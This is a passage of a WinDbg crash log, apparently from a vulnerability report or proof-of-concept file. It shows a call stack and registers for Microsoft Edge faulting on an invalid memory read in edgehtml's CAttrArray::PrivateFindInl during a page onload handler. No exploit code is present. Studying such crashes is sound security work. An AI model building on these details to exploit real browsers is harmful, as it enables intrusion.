12 000000ab`02efbbb0 00007ffa`6392c852 chakra!Js::InterpreterStackFrame::ProcessProfiled+0x340
13 000000ab`02efbc40 00007ffa`63930920 chakra!Js::InterpreterStackFrame::Process+0x142
14 000000ab`02efbca0 00007ffa`63932065 chakra!Js::InterpreterStackFrame::InterpreterHelper+0x4a0
15 000000ab`02efc000 00000219`30f30fb2 chakra!Js::InterpreterStackFrame::InterpreterThunk+0x55
16 000000ab`02efc050 00007ffa`63a17273 0x00000219`30f30fb2
17 000000ab`02efc080 00007ffa`63925763 chakra!amd64_CallFunction+0x93
18 000000ab`02efc0d0 00007ffa`63928260 chakra!Js::JavascriptFunction::CallFunction<1>+0x83
19 000000ab`02efc130 00007ffa`6392ccfd chakra!Js::InterpreterStackFrame::OP_CallI<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallI<Js::LayoutSizePolicy<0> > > >+0x110
1a 000000ab`02efc180 00007ffa`6392c8b7 chakra!Js::InterpreterStackFrame::ProcessUnprofiled+0x32d
1b 000000ab`02efc210 00007ffa`63930920 chakra!Js::InterpreterStackFrame::Process+0x1a7
1c 000000ab`02efc270 00007ffa`63932065 chakra!Js::InterpreterStackFrame::InterpreterHelper+0x4a0
1d 000000ab`02efc5c0 00000219`30f30fba chakra!Js::InterpreterStackFrame::InterpreterThunk+0x55
1e 000000ab`02efc610 00007ffa`63a17273 0x00000219`30f30fba
1f 000000ab`02efc640 00007ffa`63925763 chakra!amd64_CallFunction+0x93
20 000000ab`02efc690 00007ffa`6395a4bc chakra!Js::JavascriptFunction::CallFunction<1>+0x83
21 000000ab`02efc6f0 00007ffa`63959a86 chakra!Js::JavascriptFunction::CallRootFunctionInternal+0x104
22 000000ab`02efc7e0 00007ffa`639fc359 chakra!Js::JavascriptFunction::CallRootFunction+0x4a
23 000000ab`02efc850 00007ffa`6395ff21 chakra!ScriptSite::CallRootFunction+0xb5
24 000000ab`02efc8f0 00007ffa`6395badc chakra!ScriptSite::Execute+0x131
25 000000ab`02efc980 00007ffa`64be08dd chakra!ScriptEngineBase::Execute+0xcc
26 000000ab`02efca20 00007ffa`64be0828 edgehtml!CJScript9Holder::ExecuteCallbackDirect+0x3d
27 000000ab`02efca70 00007ffa`64b1a8c7 edgehtml!CJScript9Holder::ExecuteCallback+0x18
28 000000ab`02efcab0 00007ffa`64b1a6b7 edgehtml!CListenerDispatch::InvokeVar+0x1fb
29 000000ab`02efcc30 00007ffa`64bdf22a edgehtml!CListenerDispatch::Invoke+0xdb
2a 000000ab`02efccb0 00007ffa`64cb40d2 edgehtml!CEventMgr::_InvokeListeners+0x2ca
2b 000000ab`02efce10 00007ffa`64b30ac5 edgehtml!CEventMgr::_InvokeListenersOnWindow+0x66
2c 000000ab`02efce40 00007ffa`64b30553 edgehtml!CEventMgr::Dispatch+0x405
2d 000000ab`02efd110 00007ffa`64c0d8da edgehtml!CEventMgr::DispatchEvent+0x73
2e 000000ab`02efd160 00007ffa`64c4ba12 edgehtml!COmWindowProxy::Fire_onload+0x14e
2f 000000ab`02efd270 00007ffa`64c4a6a6 edgehtml!CMarkup::OnLoadStatusDone+0x376
30 000000ab`02efd330 00007ffa`64c4a21f edgehtml!CMarkup::OnLoadStatus+0x112
31 000000ab`02efd360 00007ffa`64bd5b43 edgehtml!CProgSink::DoUpdate+0x3af
32 000000ab`02efd7f0 00007ffa`64bd7300 edgehtml!GlobalWndOnMethodCall+0x273
33 000000ab`02efd8f0 00007ffa`7f751c24 edgehtml!GlobalWndProc+0x130
34 000000ab`02efd9b0 00007ffa`7f75156c user32!UserCallWinProcCheckWow+0x274
35 000000ab`02efdb10 00007ffa`75cecdf1 user32!DispatchMessageWorker+0x1ac
36 000000ab`02efdb90 00007ffa`75cec3b1 EdgeContent!CBrowserTab::_TabWindowThreadProc+0x4a1
37 000000ab`02effde0 00007ffa`768f9596 EdgeContent!LCIETab_ThreadProc+0x2c1
38 000000ab`02efff00 00007ffa`81538364 iertutil!SettingStore::CSettingsBroker::SetValue+0x246
39 000000ab`02efff30 00007ffa`81b170d1 KERNEL32!BaseThreadInitThunk+0x14
3a 000000ab`02efff60 00000000`00000000 ntdll!RtlUserThreadStart+0x21
0:009> r
rax=0000000000003ffd rbx=0000000000000002 rcx=0000021128e64cf0
rdx=000000000000bff7 rsi=0000000000003ffd rdi=0000000000000000
rip=00007ffa64acf836 rsp=000000ab02efb3f0 rbp=0000000000000002
r8=0000000300000003 r9=00000000800114a4 r10=0000000000000000
r11=0000000000007ffa r12=0000021932328fe0 r13=0000021127f66f01
r14=0000021128e64c88 r15=0000000000000000
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
edgehtml!CAttrArray::PrivateFindInl+0xd6:
00007ffa`64acf836 41f644d00380 test byte ptr [r8+rdx*8+3],80h ds:00000003`0005ffbe=??
=========================================
-->